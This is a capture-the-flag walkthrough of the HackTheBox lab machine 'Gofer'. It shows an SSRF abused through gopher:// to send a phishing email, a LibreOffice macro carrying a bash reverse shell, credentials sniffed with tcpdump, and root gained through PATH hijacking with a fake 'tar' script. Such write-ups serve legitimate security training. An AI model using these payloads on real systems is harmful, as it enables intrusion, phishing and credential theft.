Post

HackTheBox | Gofer

Writeup of a hard-rated Linux machine from HackTheBox


Gofer is a vulnerable machine on HackTheBox. It features an HTTP server running a virtual host with an SSRF-vulnerable endpoint. Leveraging this vulnerability, I sent a spear-phishing email with gopher links, containing a malicious .odt file with a Macro that triggers a reverse shell script. The target, "jhudson", often clicks links without scrutiny, allowing us to gain a foothold when the .odt file is opened. After gaining access as "jhudson", I captured "tbuckley's" credentials using network sniffing. Then, I exploited the binary "/usr/local/bin/notes" by manipulating the "tar" command, eventually gaining root access on the machine.

Recon


Port Scanning

Initial Scan

Initial nmap scan:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
$ nmap -sC -sV -T4 -oN nmap/nmap/initial 10.10.11.225
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-29 15:02 EDT
Nmap scan report for 10.10.11.225
Host is up (0.29s latency).
Not shown: 995 closed tcp ports (reset)
PORT    STATE    SERVICE     VERSION
22/tcp  open     ssh         OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 aa25826eb804b6a9a95e1a91f09451dd (RSA)
|   256 1821baa7dce44f60d781039a5dc2e596 (ECDSA)
|_  256 a42d0d45132a9e7f867af6f778bc42d9 (ED25519)
25/tcp  filtered smtp
80/tcp  open     http        Apache httpd 2.4.56
|_http-server-header: Apache/2.4.56 (Debian)
|_http-title: Gofer
139/tcp open     netbios-ssn Samba smbd 4.6.2
445/tcp open     netbios-ssn Samba smbd 4.6.2
Service Info: Host: gofer.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: -2s
| smb2-time: 
|   date: 2023-07-29T19:03:12
|_  start_date: N/A
|_nbstat: NetBIOS name: GOFER, NetBIOS user: <unknown>, NetBIOS MAC: 000000000000 (Xerox)
| smb2-security-mode: 
|   311: 
|_    Message signing enabled but not required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 40.07 seconds

Nmap found 5 open/filtered ports:

  • Port 22 running an SSH service OpenSSH 8.4p1
  • Port 25 filtered running an SMTP service.
  • Port 80 running an HTTP service running Apache httpd 2.4.56
  • Port 139 & 445 running Samba smbd 4.6.2.

All ports

1
2
3
4
5
6
7
$ nmap -p- -T4 10.10.11.225
PORT    STATE    SERVICE      REASON
22/tcp  open     ssh          syn-ack ttl 63
25/tcp  filtered smtp         no-response
80/tcp  open     http         syn-ack ttl 63
139/tcp open     netbios-ssn  syn-ack ttl 63
445/tcp open     microsoft-ds syn-ack ttl 63
  • Same ports discovered during the initial scan

/etc/hosts

Let’s add the hostname gofer.htb into our local /etc/hosts file:

1
$ echo '10.10.11.225  gofer.htb' >> /etc/hosts

Service Enumeration

SSH - 22

I’ll temporarily suspend the enumeration of this service, just in case I don’t discover any valuable information that could help establish an initial foothold on the other service.

SMB - 53

Share Enumeration

  • Share enumeration with ‘random’ as the username, using CrackMapExec:
1
$ poetry run cme smb gofer.htb -u 'random' -p '' --shares

Share Enumeration using CrackMapExec


  • Share enumeration using smbclient:
1
2
3
4
5
6
7
$ smbclient -N -L //gofer.htb
        Sharename       Type      Comment
        ---------       ----      -------
        print$          Disk      Printer Drivers
        shares          Disk      
        IPC$            IPC       IPC Service (Samba 4.13.13-Debian)
SMB1 disabled -- no workgroup available

The mail

  • The share shares, contains a folder named .backup which contains a file called mail which contains the following:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<From jdavis@gofer.htb  Fri Oct 28 20:29:30 2022
Return-Path: <jdavis@gofer.htb>
X-Original-To: tbuckley@gofer.htb
Delivered-To: tbuckley@gofer.htb
Received: from gofer.htb (localhost [127.0.0.1])
        by gofer.htb (Postfix) with SMTP id C8F7461827
        for <tbuckley@gofer.htb>; Fri, 28 Oct 2022 20:28:43 +0100 (BST)
Subject:Important to read!
Message-Id: <20221028192857.C8F7461827@gofer.htb>
Date: Fri, 28 Oct 2022 20:28:43 +0100 (BST)
From: jdavis@gofer.htb

Hello guys,

Our dear Jocelyn received another phishing attempt last week and his habit of clicking on links without paying much attention may be problematic one day. That's why from now on, I've decided that important documents will only be sent internally, by mail, which should greatly limit the risks. If possible, use an .odt format, as documents saved in Office Word are not always well interpreted by Libreoffice.

PS: Last thing for Tom; I know you're working on our web proxy but if you could restrict access, it will be more secure until you have finished it. It seems to me that it should be possible to do so via <Limit>
  • In this email, jdavis@gofer.htb, the CEO of Gofer, is informing the recipients, that there was a recent phishing attempt targeting Jocelyn, Product Manager. To enhance security, the CEO has decided that important documents will now only be shared internally through email and recommends using .odt format instead of Office Word documents to ensure compatibility with LibreOffice.
  • Additionally, there’s a postscript (PS) message directed at Tom, asking him to restrict access on the web proxy for enhanced security.

There are two important things we can deduce from this mail:

  • There is a web proxy in production that needs some protection (Restriction Access)
  • Jocelyn is susceptible to phishing due to a habit of clicking on links without much attention.
  • There is an internal mail service (SMTP Postfix) for sending internal emails, and for compatibility with LibreOffice, it is recommended that documents be in the .odt format.

TCP/80: gofer.htb

Front page

When visiting http://gofer.htb, we land on the main page of the ‘Gofer’ enterprise, which offers web-related services to clients.

http://gofer.htb


Offered Services


Team Members

  • Jeff Davis - CEO
  • Jocelyn Hudson - Product Manager
  • Tom Buckley - CTO
  • Amanda Blake - Accountant

Contact Information

  • Email address: info@gopher.htb
  • Phone number: +1 5589 55488 55s
  • Location: A108 Adam Street, New York, NY 535022

Subdomain Enumeration

Using wfuzz utility, I discovered an interesting virtual host running on the target machine:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$ wfuzz -u http://gofer.htb/ -H 'Host: FUZZ.gofer.htb' -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt --hc 404,301 -c -t 20  

********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://gofer.htb/
Total requests: 19966

=====================================================================
ID           Response   Lines    Word       Chars       Payload                      
=====================================================================

000000084:   401        14 L     54 W       462 Ch      "proxy"                               

Total time: 0
Processed Requests: 19966
Filtered Requests: 19962
Requests/sec.: 0

TCP/80: proxy.jupiter.htb

Front page

Before navigating to http://proxy.gofer.htb/, let’s add the new virtual host into our /etc/hosts file, as displayed below:

1
$ echo '10.10.11.225  gofer.htb proxy.gofer.htb' >> /etc/hosts

When navigating to http://proxy.gofer.htb in the browser, I encountered a Basic Authentication mechanism. A valid username and password are required to access the content hosted on this virtual host.

http://proxy.gofer.htb


Initial Foothold


SSRF

Hidden directory with no restriction

While I was testing some tricks to bypass the Basic Authentication prompt. I used ffuf to fuzz for potential files and directories by testing both GET & POST requests and index.php file was returned with a 200 response code, as can be show below:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
ffuf -u http://proxy.gofer.htb/FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -fc 401 -e .html,.php,.txt -X POST

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.0.0-dev
________________________________________________

 :: Method           : POST
 :: URL              : http://proxy.gofer.htb/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
 :: Extensions       : .html .php .txt 
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
 :: Filter           : Response status: 401
________________________________________________

[Status: 200, Size: 81, Words: 9, Lines: 2, Duration: 344ms]
    * FUZZ: index.php
  • Using cURL to send a POST request to this endpoint, we get the message ‘Missing URL parameter’, as can be shown below. This means that we need to send a POST parameter probably named url with some data in order for this endpoint to work as intended.
1
2
3
curl -X POST http://proxy.gofer.htb/index.php
<!-- Welcome to Gofer proxy -->
<html><body>Missing URL parameter !</body></html>

Interacting with index.php

At first, I tried placing the url parameter in the body of the request and still got the same error and then I tried to pass it in the URL index.php?url= and it worked, which is weird because we are sending the requests using POST method and not GET !!

I tried sending http://localhost as a value to the url parameter, but apparently the word ‘localhost’ is blacklisted.

1
2
3
curl -X POST 'http://proxy.gofer.htb/index.php?url=http://localhost'
<!-- Welcome to Gofer proxy -->
<html><body>Blacklisted keyword: localhost !</body></html>

However, sending 127.0.0.1 as a value to the url parameter, will workes just fine and will return the HTML source code of the main page at http://gofer.htb:

1
2
3
4
5
curl -X POST 'http://proxy.gofer.htb/index.php?url=127.0.0.1'
<!DOCTYPE html>   
<html lang="en">

[...snip...]

With this in mind, we can safely assume that the url parameter is vulnerable to Server-Side Request Forgery vulnerability.

SSRF Detection

To confirm the vulnerability, I started a simple HTTP server using python3 and tried to send a request to my web server and I received the request successfully from the target machine, which confirms the presence of the vulnerability:

1
$ curl -X POST http://proxy.gofer.htb/index.php?url=http://tun0-IP/

http://proxy.gofer.htb


Internal SMTP Service

Since the web server is vulnerable to SSRF, we can leverage this vulnerability to interact with the internal SMTP service and maybe send a spear-phishing email to Jocely Hudson, who is susceptible to phishing attacks and always clicks on links without much attention.

Exploitation

Exploitation plan

The exploitation plan is as follows:

  1. To begin, we will create a .odt file, essentially an OpenDocument text file, containing a malicious Macro that will run a reverse shell script when executed and eventually grant us a foothold on the target machine.
  2. After creating this .odt file, we need to send the link to this file by mail using SMTP service. However, since this SMTP service is only running internally, we will leverage the SSRF vulnerability and make the web server send the mail in our behalf.
  3. Upon receiving the email with the link to the malicious .odt file, we anticipate that Jocelyn will click on the link and open the file. This action will trigger the macro, resulting in a reverse shell connection, effectively granting us access to the target system as Jocelyn.

Creating an ODT file using LibreOffice

The initial step in the attack chain is to create an OpenDocument Text file using ‘LibreOffice Writer’ with a malicious macro designed to execute a reverse shell script on the target system, providing us with a remote shell.
I drew inspiration from this article, which provides insights on performing a similar attack.

Here are the steps:

1- Launch LibreOffice Writer, write down whatever you want and save the file with a .odt extension (This is required as mentioned in the mail by jdavis)


2- Navigate to Tools > Macros > Organize Macros and click on Basic:


3- Clicking on ‘Basic’ will open the ‘BASIC Macros’ window, allowing you to add a new macro. In this window, select the filename and click on ‘New’. You can choose any name for it and then click ‘Ok’:


4- The ‘Object Catalog’ should open with your new macro selected and ready for editing. Replace all the sample text in the macro with the following:

1
2
3
4
5
Sub evil

    Shell("bash -c 'bash -i >& /dev/tcp/tun0-IP/9999 0>&1'")
    
End Sub

Make sure to change ‘tun0-IP’ with your tun0 interface IP address !!


After editing the macro, press ‘Ctrl + S’ to save your changes.

5- After completing these steps, close the window. Then, reopen the Macro creation window by navigating to ‘Tools’ > ‘Macros’ > ‘Organize Macros’ > ‘Basic’. Once there, select your macro and click ‘Assign...


6- After clicking ‘Assign...’, the ‘Customize’ window should open. Select the ‘Events’ tab, choose ‘Open Document’ in the ‘Event’ column, and then click ‘Macro...


7- After clicking ‘Macro...’, the ‘Macro Selector’ window should open. Find your macro and click ‘Ok


8- If you’ve followed all the steps correctly, the Event tab should display something like this:


9- Finally, click ‘Ok’ > ‘Close’ and then press ‘Ctrl + S’ to save your .odt file, which is now ready to be sent to ‘Jocelyn’.

Because we can’t send an email directly using SMTP, as it’s limited to internal use, we’ll leverage the SSRF vulnerability in the proxy virtual host.
The issue is that there is no SMTP scheme like ‘smtp://’ available for sending emails directly from the vulnerable ‘url’ parameter. Instead, we’ll use ‘gopher://’ as an alternative.
Gopher was an early competitor to HTTP, designed for distributing, searching, and retrieving documents in Internet protocol networks.

For more information, refer to this link

To generate such a link, I created a PHP script to convert SMTP commands into a gopher link:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
        $commands = array(
                "MAIL FROM: <root@gofer.htb>",
                "RCPT TO: <jhudson@gofer.htb>",
                "DATA",
                "Subject: Important mail",
                "Click on this link: http://10.10.14.20/phish.odt for more info", // Replace the IP address with your 'tun0' IP address.
                "."
        );
$payload = implode('%0A', $commands); 
$encoded_payload = urlencode($payload);
echo 'curl -X POST http://proxy.gofer.htb/index.php?url=gopher://2130706433:25/_' . $encoded_payload;

?>

You can find the source code here

  • Let’s run this script:
1
2
3
$ php gopher-generator.php

curl -X POST http://proxy.gofer.htb/index.php?url=gopher://2130706433:25/_MAIL+FROM%3A+%3Croot%40gofer.htb%3E%250ARCPT+TO%3A+%3Cjhudson%40gofer.htb%3E%250ADATA%250ASubject%3A+Important+mail%250AClick+on+this+link%3A+http%3A%2F%2F10.10.14.20%2Fphish.odt+for+more+info%250A.
  • As can be seen from the output, the script generates a cURL command that, when executed, exploits the SSRF vulnerability in the ‘url’ parameter to send an email directly to ‘jocelyn’, including a link to our crafted phish.odt file.

Shell as jhudson

Serving and sending

Now, simply start an HTTP server using Python to serve our malicious .odt file and initiate our command and control (C2) by running a netcat listener on the port specified in the reverse shell script within the Macro.

1- Start a python webserver on port 80

1
python3 -m http.server 80

2- Start a netcat listener on port 9999:

1
nc -nlvp 9999

3- Execute the cURL command (Generated from the PHP script above):

1
curl -X POST 'http://proxy.gofer.htb/index.php?url=gopher://2130706433:25/_MAIL+FROM%3A+%3Croot%40gofer.htb%3E%250ARCPT+TO%3A+%3Cjhudson%40gofer.htb%3E%250ADATA%250ASubject%3A+Important+mail%250AClick+on+this+link%3A+http%3A%2F%2F10.10.14.20%2Fphish.odt+for+more+info%250A.'

Exploitation Process and Foothold


Lateral Movement


Enumeration

Manual Enumeration

  • The target machine is running Linux version 5.10.0:
    1
    2
    
    jhudson@gofer:~$ uname -a
    Linux version 5.10.0-23-amd64 (debian-kernel@lists.debian.org) (gcc-10 (Debian 10.2.1-6)
    
  • The user jhudson may not run sudo on the system.
  • There are 5 users with console:
    1
    2
    3
    4
    5
    
    ablake:x:1003:1003::/home/ablake:/bin/bash
    jdavis:x:1001:1001::/home/jdavis:/bin/bash
    jhudson:x:1000:1000:Jocelyn Hudson,,,:/home/jhudson:/bin/bash
    root:x:0:0:root:/root:/bin/bash
    tbuckley:x:1002:1002::/home/tbuckley:/bin/bash
    
  • Running services:
1
2
3
4
5
6
7
8
9
10
jhudson@gofer:~$ ss -lntp

tcp        0      0 127.0.0.1:25            0.0.0.0:*               LISTEN      -       
tcp        0      0 0.0.0.0:445             0.0.0.0:*               LISTEN      -  
tcp        0      0 0.0.0.0:139             0.0.0.0:*               LISTEN      -       
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -       
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -
tcp6       0      0 :::445                  :::*                    LISTEN      -
tcp6       0      0 :::139                  :::*                    LISTEN      -
tcp6       0      0 :::22                   :::*                    LISTEN      - 
  • There is an interesting binary with an SUID bit set. However, jhudson does not have privileges to run it. Only the root user and members of the group dev can interact with the binary:
1
2
3
4
jhudson@gofer:~$ find / -type f -perm -04000 -ls 2>/dev/null
<...SNIP...>

-rwsr-s--- 1 root dev 17K Apr 28 16:06 /usr/local/bin/notes
  • The .htpasswd file, found in the /etc/apache2/ directory, stores the password hash for the user tbuckley. However, my attempts to crack it using the ‘rockyou.txt’ wordlist were unsuccessful.
1
2
$ cat /etc/apache2/.htpasswd
tbuckley:$apr1$YcZb9OIz$fRzQMx20VskXgmH65jjLh/

Enumeration with Linpeas

Running Linpeas on the target system revealed an interesting detail: the user ‘jhduson’ (me, basically) has the ability to sniff the network using ‘tcpdump

1
2
3
4
5
6
7
<...SNIP...>

╔══════════╣ Can I sniff with tcpdump?
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sniffing
You can sniff with tcpdump!

<...SNIP...>

Monitoring processes using pspy64

Running pspy on the target system, I noticed that 2 scripts are executed every minute with root privileges.

1
2
3
4
5
6
7
8
9
10
11
<...SNIP...>

2023/08/01 21:34:01 CMD: UID=0     PID=71047  | /bin/bash /root/scripts/curl.sh 
2023/08/01 21:34:01 CMD: UID=0     PID=71048  | /bin/bash /root/scripts/mail.sh 

<...SNIP...>

2023/08/01 21:35:01 CMD: UID=0     PID=71092  | /bin/bash /root/scripts/curl.sh
2023/08/01 21:35:01 CMD: UID=0     PID=71048  | /bin/bash /root/scripts/mail.sh 

<...SNIP...>

The curl.sh script appears interesting, possibly executing curl command for sending HTTP requests. Given jhudson’s network sniffing capabilities with ‘tcpdump’ we can monitor the traffic generated by the execution of these scripts.

Shell as tbuckley

Sniffing with tcpdump

1- Let’s run tcpdump, to start sniffing while saving the captured packets on capture.pcap file:

1
jhudson@gofer:~$ tcpdump -i any 'not port 22' -w capture.pcap 
  • not port 22’ tells tcpdump to ignore SSH traffic (We are only interested on the traffic generated upon the execution of mail.sh and curl.sh)

2- Wait for the cronjob to execute (1-2 minutes), and then press ‘Ctrl + C’ to interrupt the sniffing.

3- Start an HTTP server on the target machine serving the capture.pcap file.

1
jhudson@gofer:~$ python3 -m http.server 1234 

4- On the attacking machine, download the pcap file and open it using Wireshark.
5- After analyzing the HTTP traffic, I discovered a POST request sent to http://proxy.gofer.htb, with the Authorization header containing credentials encoded in base64.

Authorization Header


tbuckley credentials

  • The Authorization header contains tbuckley’s credentials, as can be seen below:
1
2
echo 'dGJ1Y2tsZXk6b29QNGRpZXRpZTNvX2hxdWFldGk=' | base64 --decode
tbuckley:ooP4dietie3o_hquaeti

NOTE: You can also get tbuckley’s credentials by simply monitoring processes using pspy64

tbuckley credentials via pspy64


SSH in as tbuckley

Now, we can SSH into the target system as tbuckley:

1
2
$ ssh tbuckey@gofer.htb
Enter tbuckey@gofer.htb's password: ooP4dietie3o_hquaeti

SSH as tbuckley


Privilege Escalation


Shell as root

/usr/local/bin/notes

The user tbuckley is a member of the group dev, which means he can interact with the binary /usr/local/bin/notes that has an SUID bit set. This binary is a note taking application with 8 functionalities/features:

  1. Create a user and choose a username
  2. Show user information (username + Role admin/user)
  3. Delete a user
  4. Write a note
  5. Show the note
  6. Save the note (Not yet implemented)
  7. Delete the note
  8. Backup the note

To better understand what happens behind the scenes when a user interacts with these functionalities, I’ll start a Python web server to serve the ‘notes’ binary on the target machine. I will then download the binary to my local machine for reverse engineering using ‘Ghidra’.

  • On the target machine:
1
2
tbuckley@gofer:~$ cd /usr/local/bin
tbuckley@gofer:~$ python3 -m http.server 1234
  • On the local (Attacking) machine:
1
$ wget http://gofer.htb:1234/notes

Analyzing the binary with Ghidra

After opening the binary with Ghidra I analyzed the main function and found the following:

  1. If a user hasn’t been created since the application launch, you cannot delete a user. However, if you’ve created a user, you can delete it.
  2. The backup functionality is only available for admin users (those with the ‘admin’ role).
  3. Case number 8 looks interesting. It checks if the user has ‘admin’ privileges. If it’s the case, it will create a compressed tar archive of the contents of the /opt/notes directory and stores it as /root/backups/backup_notes.tar.gz, by running the command tar -czvf /root/backups/backup_notes.tar.gz /opt/notes

Case 8


  • The implementation of this tar command is not safe. A user can easily create a Bash script named ‘tar’ containing a reverse shell payload, move that script to a directory listed in the $PATH environment variable, and then execute the tar command with root privileges by selecting choice number 8, which can lead to obtaining a root shell.
  • A safer implementation is to use an absolute path instead of relative paths, like /usr/bin/tar -czvf /root/backups/backup_notes.tar.gz /opt/notes

  • With that in mind, all we need to do is to find a way to become ‘admin’ and then leverage this unsafe implementation to achieve root access on the box.

Becoming admin

1- While testing the application, I observed an odd behavior. When a user is created and subsequently deleted, only the username is removed, while the role remains intact.

Show user information


Delete the user + Show user information


2- After this step, if you create a note via the 4th option, the note’s first word before a whitespace will be written in the ‘Username’ field, and the ‘Role’ field will be cleared.

Write a note


Show user information


3- With this in mind and after some analysis of the condition that checks if a user is an admin, I identified the following code:

1
iVar1 = strcmp((char *)((long)username + 0x18), "admin");
  • This code uses the strcmp() function to compare the string located at the address (char *)((long)username + 0x18), which is a 24-byte offset from the username pointer, with the string ‘admin
  • In other words, the strcmp() function begins reading the first string (the one in the first argument) after a 24-byte offset. This means we can create a note with 24 random characters and append the string ‘admin’ to bypass this check.

Exploitation

Here are the exploitation steps:

  1. Create a user with any desired name, by selecting the option n°1
  2. Delete this user by choosing the option n°2
  3. Write a note with 24 random characters followed by the string admin. (e.g. bbbbbbbbbbbbbbbbbbbbbbbbadmin)
  4. Check the new role by choosing the option n°2

Admin Role


  • As can be seen in the screenshot above, we have the ‘admin’ role !!

PrivEsc using PATH variable

At this point, we simply need to create a Bash script and name it ‘tar’. Here’s the content of the file:

1
2
#!/usr/bin/bash
/usr/bin/bash -c 'bash -i >& /dev/tcp/tun0-IP/9997 0>&1'

Make sure to replace ‘tun0-IP’ with your tun0 IP address

I’ll save this file in the /tmp directory and prepend it to the $PATH environment variable using the following command:

1
tbuckley@gofer:/tmp$ export PATH=/tmp:$PATH
  • Checking if /tmp has been added to the $PATH:
1
2
3
4
5
tbuckley@gofer:/tmp$ echo $PATH
/tmp:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games

tbuckley@gofer:/tmp$ which tar
/tmp/tar

Next, we’ll start a netcat listener on port 9997 and trigger the backup script by choosing option n°8. This will execute our ‘tar’ script instead of the expected binary /usr/bin/tar.

Reverse shell as root


Attack Chain

  1. Nmap found 3 open ports:
    • Port 22 running an SSH service,
    • Port 80 running an HTTP service,
    • Ports 139,445 running SAMBA,
    • Filtered port 25 running an SMTP service,
  2. After some enumeration on the exposed HTTP service, I found a virtual host running on proxy.gofer.htb, which is protected with a Basic Authentication mechanism. A user is required to enter valid username and password in order to access the service. However, the endpoint /index.php can be accessed using POST request without submitting providing legitimate credentials. This endpoint has a query string named url (/index.php?url=), which is vulnerable to SSRF.
  3. Enumerating SMB, there is a file located at /shares/.backup/mail, which contains an email sent from the CEO of Gofer to its employees (jhudson and tbuckley). The email implies that jhudson has a bad habit of clicking on links without verifying if they are not malicious, which means an attacker could target jhudson, to make her click on malicious links. The email also mentions the use of .odt files in order to send document files.
  4. With that in mind, an attacker could craft a malicious .odt file, which is basically a word document file created by LibreOffice. This file could contain a malicious macro with a reverse shell payload, granting the attacker a shell upon opening the document and executing the macro.
  5. The next step, is to send a mail exclusively to jhudon. This mail should contain the link to the malicious .odt file. To do so, since the SMTP service is only serving internally, we can leverage the SSRF vulnerability and make the web service send the mail on our behalf using gopher:// protocol.
  6. To do so, I created a PHP script that generates a gopher link based on the SMTP commands passed into it. The generated link can be used to send an email to ‘jhudson’ which includes a link to the malicious .odt file. After setting up a netcat listener, a shell should be received when ‘jhudson’ acquires the .odt file and executes the macro.
  7. Once in as jhudson, this user has the privileges to sniff on the network using tcpdump. Additionaly a script called curl.sh is executed every minute with root privileges. Therefore, I started network sniffing on all interfaces, saved the traffic in a pcap file, and analyzed it locally with Wireshark. In the captured data, I found tbuckley’s credentials, which were base64-encoded and sent in the ‘Authorization’ header.”
  8. As tbuckley, I have access to the binary /usr/local/bin/notes, which is a note-taking application with various functionalities, including user management, note creation, saving notes, and note backup (restricted to admin users)
  9. During the reverse engineering process of the binary, I found that when a user chooses the backup feature, a system command, tar -czvf ...’ is executed without an absolute path. This means an attacker could create a bash script named ‘tar’, add its location to the beginning of ‘$PATH’ and execute it.
  10. After some experimentation with the application, I attained the admin role and created a reverse shell script named ‘tar’ Finally, when selecting the backup feature, I obtained a root shell on the box.
This post is licensed under CC BY 4.0 by the author.